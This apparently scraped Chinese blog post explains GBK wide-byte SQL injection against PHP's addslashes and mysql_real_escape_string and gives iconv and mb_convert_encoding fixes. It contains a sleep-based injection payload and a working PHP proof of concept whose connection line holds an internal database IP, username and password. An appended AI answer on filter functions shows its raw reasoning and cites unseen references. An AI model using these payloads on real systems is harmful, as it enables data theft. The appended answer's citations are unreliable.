PHP字符编码绕过漏洞--addslashes、mysql_real_escape漏洞

$sName = $_GET['name']; 
$sName = addslashes($sName); 
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';"; 
var_dump($sql);  
exit(); 

结果扫描工具一扫描,发现问题来了,被扫除了SQL注入漏洞,而且还引发了整个数据表被锁住(备注:见第二部分)

检查安全中心扫描日志发现:
当SQL输入为:
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
的时候引发了SQL注入。
//这里输出:
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%';"


根本原因是addslash对于字符%BF%27的漏洞。


该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过  addslashes()  转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。
          mysql_real_escape_string() 也存在相同的问题,只不过相比  addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。
在MySQL中有两种改变默认字符集的方法。
方法一:
改变mysql配置文件my.cnf
 [client]
default-character-set=GBK


方法二:
在建立连接时使用
CODE:
SET  CHARACTER  SET  'GBK'
例:mysql_query("SET  CHARACTER  SET  'gbk'",  $c);或者
mysql_query(“SET NAMES ‘GBK’”, $c);


问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和  addslashes()  一样的漏洞(备注:这句话是摘抄的,我也没看懂)


网络上查询到有人说:
当mysql_real_escape_string检测到的编码方式跟client设置的编码方式(big5/bgk)不一致时,mysql_real_escape_string跟addslashes是没有区别的 
比如 
[client] 
default-character-set=latin1 


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
这种情况下mysql_real_escape_string  是基于  latin1工作的,是不安全的 


[client] 
default-character-set=gbk 


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
这种情况下,mysql_real_escape_string  基于  gbk  工作,是正常的 


但是,这里我108、153上验证的都不成功:
用12机器的php文件在108机器mysql上,查询到


在153链接测试环境CDB结点:
 
执行来自:
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php
//$c  =  mysql_connect("localhost",  "user",  "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);


//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);


mysql_select_db("database",  $c);


//  change  our  character  set
mysql_query("SET  CHARACTER  SET  'gbk'",  $c);


//  create  demo  table
mysql_query("CREATE  TABLE  users  (
        username  VARCHAR(32)  PRIMARY  KEY,
        password  VARCHAR(32)
)  CHARACTER  SET  'GBK'",  $c);
mysql_query("INSERT  INTO  users  VALUES('foo','bar'),  ('baz','test')",  $c);


//  now  the  exploit  code
$_POST['username']  =  chr(0xbf)  .  chr(0x27)  .  '  OR  username  =  username  #'; 
$_POST['password']  =  'anything'; 


//  Proper  escaping,  we  should  be  safe,  right?
$user  =  mysql_real_escape_string($_POST['username'],  $c);
$passwd  =  mysql_real_escape_string($_POST['password'],  $c);


$sql  =  "SELECT  *  FROM    users  WHERE    username  =  '{$user}'  AND  password  =  '{$passwd}'";
$res  =  mysql_query($sql,  $c);
echo  mysql_num_rows($res);  //  will  print  2,  indicating  that  we  were  able  to  fetch  all  records


?>
发现:都存在漏洞

 


纵观以上两种触发漏洞的关键是addslashes()、mysql_real_escape_string()在Mysql配置为GBK时就可以触发漏洞,
另外:mysql_real_escape_string在执行前,必须正确连接到Mysql才有效。


又有,上面产生漏洞的原因主是有GBK的特殊字符所引起的,因而,我们需要在进行addslashes或者mysql_real_escape之前,对输入字符串进行特殊处理一下。


$this->sName = $_GET['name'];
$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);
$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);             
Iconv这种方式比较粗暴,对于不能识别的特殊字符之后的语句在153机器上会截断不能识别的字符后面的内容:
如下:
string(32) "41縗' or sleep(10.10)=0 limit 1#"
string(2) "41"


或者用mb_convert_encoding这个方式
$tmp = mb_convert_encoding($_POST['username'], 'gbk','utf-8');
$_POST['username'] = mb_convert_encoding($tmp, 'utf-8', 'gbk');
这种方式会过滤掉不能识别的GBK字符。


这样处理之后,使用addslashes就没有问题拉。


后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 


参考网页:
http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
http://ar.newsmth.net/thread-1d64171197dd0d-1.html

 

第二部分:
SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%


在上面SQL注入语句中,当count和SLEEP语句放在一块后,会引发mysql进程在表的每条记录上都sleep(n)秒,所以,如果如果表中有1000条记录时就会sleep 1000*n秒。
而且这里还会引起整个表的锁表。
<think>好的,用户正在寻找SQL注入防护相关的内置过滤函数,特别是提到了mysql_escape_string、str_replace、intval、addslashes这几个函数。我需要根据提供的引用内容,整理出这些函数的使用方法和注意事项。 首先,我需要回顾每个引用中的相关信息。引用1提到mysql_real_escape_string必须在PHP4>=4.3.0和PHP5中使用,否则用mysql_escape_string,但两者有区别,前者考虑连接字符集。引用2指出,即使使用PDO的模拟预处理,如果PHP版本低且未指定charset,仍然可能有注入漏洞,建议升级PHP并设置charset。引用4展示了一个post_check函数,里面用到了addslashes、str_replace等函数,并处理了magic_quotes_gpc的情况。引用5给出了使用mysql_real_escape_string的示例。引用3提到了MySQL的报错函数,可能和注入攻击有关,但用户的问题是关于防护函数,所以这部分可能暂时不用。 接下来,我需要将每个函数的信息整理出来。mysql_real_escape_string需要考虑连接字符集,比mysql_escape_string更安全,但已弃用。addslashes用于转义特殊字符,但依赖于magic_quotes_gpc的设置,引用4中的函数处理了这个情况。str_replace用于过滤特定字符,如%和_。intval用于确保数值类型,防止注入。同时,PDO的参数绑定和预处理语句是更推荐的方法,如引用2提到的设置EMULATE_PREPARES为false,并指定charset。 需要注意的是,用户可能想知道这些函数的适用场景、限制以及最佳实践。比如,虽然某些函数可以过滤,但单独使用可能不够,需要组合其他方法。例如,引用4中的函数不仅用了addslashes,还处理了magic_quotes_gpc,替换了%和_,并进行HTML转义。这可能超出SQL注入的范围,但用户可能关心整体输入过滤。 另外,用户提到的函数中有mysql_escape_string,但根据引用1,这个函数已经过时,推荐使用mysql_real_escape_string,而后者在PHP7中也被移除,所以最终应该建议使用PDO或MySQLi的参数化查询。 可能还需要提到,过滤函数虽然有用,但参数化查询才是更根本的解决方案,因为过滤容易遗,而参数化能从根本上分离数据和指令。引用2中提到的PDO设置就是一个例子。 总结:需要分点列出每个函数的作用、注意事项,并强调参数化查询的重要性。同时,引用相关的内容来支持每个点,比如引用1和5关于mysql_real_escape_string,引用4关于addslashes和str_replace,引用2关于PDO的设置。</think>### SQL注入防护常用内置过滤函数及注意事项 #### 1. **`mysql_real_escape_string`** 用于转义字符串中的特殊字符(如单引号、双引号、反斜杠等),需基于当前数据库连接的字符集处理[^1]。 - **适用场景**:拼接SQL语句时对字符串参数进行转义。 - **注意事项**: - 仅在PHP 4.3.0+和PHP 5+版本可用,且需确保已建立数据库连接。 - PHP 7中已弃用,建议改用参数化查询(如PDO或MySQLi)。 示例: ```php $username = mysql_real_escape_string($_POST['username']); $sql = "SELECT * FROM users WHERE username='$username'"; ``` --- #### 2. **`addslashes`** 自动转义单引号、双引号、反斜杠和NULL字符,但依赖`magic_quotes_gpc`配置[^4]。 - **适用场景**:兼容旧代码时,需手动判断`magic_quotes_gpc`状态[^4]。 - **注意事项**: - 若`magic_quotes_gpc=On`,重复转义会导致数据错误。 - 无法防御多字节编码注入(如GBK宽字节漏洞)。 示例(结合`magic_quotes_gpc`判断): ```php if (!get_magic_quotes_gpc()) { $input = addslashes($input); } ``` --- #### 3. **`str_replace`** 用于过滤特定危险字符(如`%`、`_`),常用于模糊查询场景。 - **适用场景**:防止LIKE子句中的通配符滥用。 - **注意事项**: - 需手动定义需过滤的字符列表。 - 不能替代参数化查询或转义函数。 示例: ```php $input = str_replace(array("%", "_"), array("\%", "\_"), $input); ``` --- #### 4. **`intval`** 将变量强制转换为整数类型,用于处理数值型参数[^5]。 - **适用场景**:确保ID、年龄等参数为整数。 - **注意事项**: - 仅适用于纯数字输入,对字符串无效。 示例: ```php $id = intval($_GET['id']); $sql = "SELECT * FROM articles WHERE id=$id"; ``` --- #### 5. **`PDO参数化查询`**(推荐) 通过预处理语句分离数据与SQL指令,从根本上防御注入[^2]。 - **注意事项**: - 需设置`PDO::ATTR_EMULATE_PREPARES=false`并指定DSN字符集,避免模拟预处理漏洞。 示例: ```php $pdo = new PDO('mysql:host=localhost;dbname=test;charset=utf8', 'user', 'pass'); $stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email"); $stmt->execute(['email' => $email]); ``` --- ### 综合建议 1. **优先使用参数化查询**(PDO或MySQLi),避免手动拼接SQL[^2]。 2. 若必须拼接SQL,组合使用过滤函数(如`intval`+`mysql_real_escape_string`)并严格校验输入格式。 3. 升级到PHP 5.3.6+,并在DSN中指定字符集(如`charset=utf8`)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值